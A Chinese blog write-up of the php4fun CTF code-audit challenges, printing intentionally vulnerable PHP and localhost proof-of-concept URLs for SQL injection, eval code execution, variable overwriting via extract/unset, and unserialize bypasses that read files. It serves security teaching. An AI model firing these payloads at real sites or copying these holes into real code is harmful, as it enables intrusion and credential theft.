php4fun-writeup

简介

php4fun对于刚刚入门代码审计以及了解php中的一些Tricks都是很有好处的。本篇文章就是讲解我在做这些题目的思考。
就我个人而言,重点值得推荐的题目是challenge 3,challenge 5,challenge 7

challenge 1

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!php    
#GOAL: get password from admin;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

$row = mysql_fetch_assoc($result);

echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";

思考

这个明显一到SQL注入的题目
htmlentities($str, ENT_QUOTES);,使用ENT_QUOTES会将单引号和双引号转换为html实体编码。
无法使用'来进行注入,可以考虑使用\去掉一个单引号,因为htmlentities不会对\进行转义

POC

1
http://localhost/php4fun/1/index.php?username=admin\&password=or 1=1%23

challenge 2

代码

1
2
3
4
#GOAL: gather some phpinfo();

$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');

就是喜欢这种胆小精悍的题目

思考

这道题目要求能够执行phpinfo()函数。
addslashes($str),addslashes会在这些符号单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)进行转义,加上反斜线。
eval($str),会将其中的$str当作php代码来执行
下面是eval的用户的一个简单的例子。

1
2
3
4
5
6
7
8
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

最后的输出结果是:

1
2
This is a $string with my $name in it. 
This is a cup with my coffee in it.

echo $str并不会解释其中的$string$name,所以原样输出。
在eval()函数中使用的双引号,所以变量$string$name会被解释执行,最终就会输出最终的值。

POC

如何能够执行phpinfo()呢?这些就需要使用到php中的双大括号的方式来执行php代码了。关于这种方式的执行,也有文章会讲到,如果有机会就再讲吧。

1
http://localhost/php4fun/2/index.php?str=${phpinfo()}

challenge 3

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!php
# GOAL: dump the info for the secret id
require 'db.inc.php';

$id = @(float)$_GET['id'];

$secretId = 1;
if($id == $secretId){
echo 'Invalid id ('.$id.').';
}
else{
$query = 'SELECT * FROM users WHERE id = \''.$id.'\';';
$result = mysql_query($query);
$row = mysql_fetch_assoc($result);

echo "id: ".$row['id']."</br>";
echo "name:".$row['name']."</br>";
}

思考

这道题目也是一到比较有意思或者说是一到比较奇怪的题目,说来羞愧,对于这道题目的背后的原理我现在都不是很清楚,估计需要看php的源代码才有可能搞清楚这道题目吧。这道题目主要考察的就是php的浮点数精度和mysql精度不一致的问题。以后见到这种题目就应该会了。
但是这道题目我在本地复现的时候却出现了一点问题。
首先需要考虑到在php中浮点数精度的问题,通过php.iniprecision进行设置,默认情况是14(我的电脑的默认配置也是14),也可以通过ini_get获取到设置的变量的值。
在php中当精度超过了预设的精度时,就会进行截断,截断的方式是按照四舍五入的方式进行截断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

$result = ini_get('precision');
var_dump($result); # 14

$myfloat1 = '0.99999999999999'; #精度为 14
$newfloat = (float)$myfloat1;
var_dump($newfloat); # 0.99999999999999
var_dump($newfloat == 1); #false

$myfloat2 = '0.999999999999999'; #精度为 15
$newfloat = (float)$myfloat2;
var_dump($newfloat); # 1
var_dump($newfloat == 1); # false

$myfloat3 = '0.9999999999999999'; #精度为 16
$newfloat = (float)$myfloat3;
var_dump($newfloat); # 1
var_dump($newfloat == 1 ); # false

$myfloat4 = '0.99999999999999999'; #精度为 17
$newfloat = (float)$myfloat4;
var_dump($newfloat); # 1
var_dump($newfloat == 1 ); #true

?>

需要注意的是,在php中float和int进行比较的时候,int会提升为float进行比较。
可以看到上述的非常奇怪的现象,当进度为15,16时,虽然float强制类型转换最后的结果为1,但是与1进行比较的时候,结果为false,当精度超过16时,与1比较的结果为true。
那么面对这道题目也可以很好地进行处理了

POC

1
http://localhost/php4fun/3/index.php?id=0.9999999999999999

challenge 4

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!php
#GOAL:get password from admin
# $yourInfo=array(
# 'id' => 1,
# 'name' => 'admin',
# 'pass' => 'xxx',
# 'level' => 1
# );
require 'db.inc.php';

$_CONFIG['extraSecure']=true;

//if register globals = on, undo var overwrites
foreach(array('_GET','_POST','_REQUEST','_COOKIE') as $method){
foreach($$method as $key=>$value){
unset($$key);
}
}

$kw = isset($_GET['kw']) ? trim($_GET['kw']) : die('Please enter in a search keyword.');

if($_CONFIG['extraSecure']){
$kw=preg_replace('#[^a-z0-9_-]#i','',$kw);
}

$query = 'SELECT * FROM messages WHERE message LIKE \'%'.$kw.'%\';';

$result = mysql_query($query);
$row = mysql_fetch_assoc($result);

echo "id: ".$row['id']."</br>";
echo "message: ".$row['message']."</br>";

思考

$_CONFIG['extraSecure']=true;,首先定义了一个$_CONFIG数组并进行了初始化,在绕过preg_replace的防护时会用到。
unset,销毁指定的变量,貌似这样的函数只有在php中才会出现,在其他的语言如javaPython中从未见到。
以下就是unset的一个简单的例子。

出现了unset,那么就可以考虑使用unset去掉变量$_CONFIG,这样可以绕过preg_replace的防护了。
去掉防护之后,剩下的就是一个正常的SQL注入的题目。

POC

1
http://localhost/php4fun/4/index.php?_CONFIG=abc&kw=%';select name,pass from users where name='admin'#

challenge 5

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!php
# GOAL: overwrite password for admin (id=1)
# Try to login as admin
# $yourInfo=array( //this is your user data in the db
# 'id' => 8,
# 'name' => 'jimbo18714',
# 'pass' => 'MAYBECHANGED',
# 'level' => 1
# );
require 'db.inc.php';

function mres($str) {
return mysql_real_escape_string($str);
}

$userInfo = @unserialize($_GET['userInfo']);

$query = 'SELECT * FROM users WHERE id = \''.mres($userInfo['id']).'\' AND pass = \''.mres($userInfo['pass']).'\';';

$result = mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

$row = mysql_fetch_assoc($result);
foreach($row as $key => $value){
$userInfo[$key] = $value;
}

$oldPass = @$_GET['oldPass'];
$newPass = @$_GET['newPass'];
if($oldPass == $userInfo['pass']){
$userInfo['pass'] = $newPass;
$query = 'UPDATE users SET pass = \''.mres($newPass).'\' WHERE id = \''.mres($userInfo['id']).'\';';
mysql_query($query);
echo 'Password Changed.';
}
else{
echo 'Invalid old password entered.';
}

思考

这道题目比较的有意思,准备放到下一篇文章里面单独讲,这里就不作说明了。有兴趣的同学可以关注下一篇文章。

challenge 6

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!php
#GOAL: get the secret;

class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];

if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "?????????????????????????????";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}

思考

看样子,这就是一道反序列化的题目,关于反序列化的问题,之前写过了几篇文章将这个问题,所以这道题目也是比较的简单。构造一个just4fun类的实例,使得属性secretenter指向的是同一变量,这样就保证没有问题了。

POC

构造方法为:

1
2
3
4
5
6
7
class just4fun {
var $enter;
var $secret;
}
$j = new just4fun();
$j->enter = &$j->secret;
var_dump(serialize($j));

输出结果为:
那么最后提交的答案为:http://localhost/php4fun/index/5/index.php?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

challenge 7

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!php
# GOAL: get the key from $hidden_password[207]

session_start();
error_reporting(0);

function auth($password, $hidden_password) {
$res = 0;
if(isset($password) && $password != "") {
if($password == $hidden_password) {
$res = 1;
}
}
$_SESSION["logged"] = $res;
return $res;
}

function display($res){
$aff = htmlentities($res);
return $aff;
}


if(!isset($_SESSION["logged"]))
$_SESSION["logged"] = 0;

$aff = "";
include("config.inc.php");

foreach($_REQUEST as $request) {
if(is_array($request)) {
die("Can not use Array in request!");
}
}

$password = $_POST["password"];

if(!ini_get("register_globals")) {
$superglobals = array($_POST, $_GET);
if(isset($_SESSION)) {
array_unshift($superglobals, $_SESSION);
}
foreach($superglobals as $superglobal) {
extract($superglobal, 0);
}
}

if((isset($password) && $password != "" && auth($password, $hidden_password[207]) == 1) || (is_array($_SESSION) && $_SESSION["logged"] == 1)) {
$aff = display("$hidden_password[207]");
} else {
$aff = display("Try again");
}
echo $aff;

思考

这道题目也是相当有意思的一道题目。关键的地方在于if的判断语句。(isset($password) && $password != "" && auth($password, $hidden_password[207]) == 1) || (is_array($_SESSION) && $_SESSION["logged"] == 1)中间存在||表示两者的判断只要其中有一个为true即可得到flag。
前者的判断的关键auth($password, $hidden_password[207]) == 1无法突破,后者的$_SESSION["logged"] == 1看似也无法突破,但是题目中出现了extract()函数,貌似是存在利用的可能性。
尝试,http://localhost/php4fun/7/index.php?_SESSION['logged']==1,无法绕过is_array($request)的检测。
尝试,http://localhost/php4fun/7/index.php?_SESSION==1abc,无法绕过is_array($_SESSION)的检测。

这个是考察$_REQUEST的用法的特性。
$_REQUEST,HTTP Request变量,默认情况下包含了$_GET,$_POST 和 $_COOKIE 的数组。这个变量有两点需要注意的地方。

  1. $_REQUEST,获取的是HTTP Request变量。所以如果在运行中修改了$_GET、$_POST、$_COOKIE的变量,对$_REQUEST并没有影响。
    访问GET ?index.php?id=123&kw=456 POST: user=admin&pass=qwer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    var_dump($_GET); # array('id'=>'123','kw'=>'456');
    var_dump($_POST); # array('user'=>'admin','pass'=>'qwer');
    var_dump($_REQUEST); # array('id'=>'123','kw'=>'456','user'=>'admin','pass'=>'qwer');
    $_GET['name'] = 'spoock';
    $_POST['age'] = 18;
    var_dump($_GET); # array('id'=>'123','kw'=>'456','name'=>'spoock');
    var_dump($_POST); # array('user'=>'admin','pass'=>'qwer','age'=>18);
    var_dump($_REQUEST); # array('id'=>'123','kw'=>'456','user'=>'admin','pass'=>'qwer');

    可以发现,在程序运行时修改了$_GET和$_POST,但是$_REQUEST并没有改变,这就是$_REQUEST的特性。

  2. $_REQUEST的取值方式是按照$_GET、$_POST和$_COOKIE的顺序取值。当$_GET、 $_POST、$_COOKIE中存在同名变量时,后面的变量会覆盖掉前面的变量。
    访问:GET ?index.php?id=123 POST: id=456

    1
    2
    3
    4
    <?php
    var_dump($_GET); # array('id'=>'123');
    var_dump($_POST); # array('id'=>'456');
    var_dump($_REQUEST); # array('id'=>'456');

    可以看到,$_GET和$_POST变量都不会改变,但是$_REQUEST会从所有进行取值,$_POST中的变量就会覆盖掉$_GET中的变量,所以最后在$_REQUEST中的就是id=456.

利用$_REQUEST中的特性2就可以绕过is_array($request)的检测了,如果绕过了检测,那么最终的$_SESSION["logged"] == 1也能够执行,最后就可以得到flag。

POC

1
2
GET: http://localhost/php4fun/7/index.php?_SESSION[logged]=1
POST:_SESSION=1

challenge 8

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!php
#GOAL: file_get_content('sbztz.php') : )

class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}

$data = stripslashes($_GET['data']);
if (!$data) {
die("hello from y");
}

$token = $data[0];
$pass = true;

switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;

default:
$pass = false;

}

if (!$pass) {
die("TKS L.N.");
}

echo unserialize($data);

思考

这也是一道序列化的题目,需要绕过preg_match( "/^{$token}:[0-9]+:/s", $data )对序列化的检测,这种题目在之前我写的有关序列化的文章也有讲过,考的就是一个知识点,并没有很深奥的知识,通过在序列化之后的的属性前面加上一个+就可以绕过preg_match的检测,同时也不会影响反序列化,曾经这个问题就出现在joomla的CVE漏洞中。如果不清楚的话,可以参考文章php反序列unserialize的一个小特性
那么最后的解决方法很简单,构造一个jsut4fun的实例,然后增加一个+即可。

POC

1
2
3
4
5
6
7
8
9
10
class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}
$j = new just4fun();
$j->filename = 'sbztz.php';
var_dump(serialize($j));

得到的序列化的结果为:O:8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}
那么最后的POC为localhost/wechall/8/index.php?data=O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}

总结

总的来说,这些题目都是很好的题目,值得大家练习。无论是对于开发人员还是安全专业的人员,上面的问题都值得思考。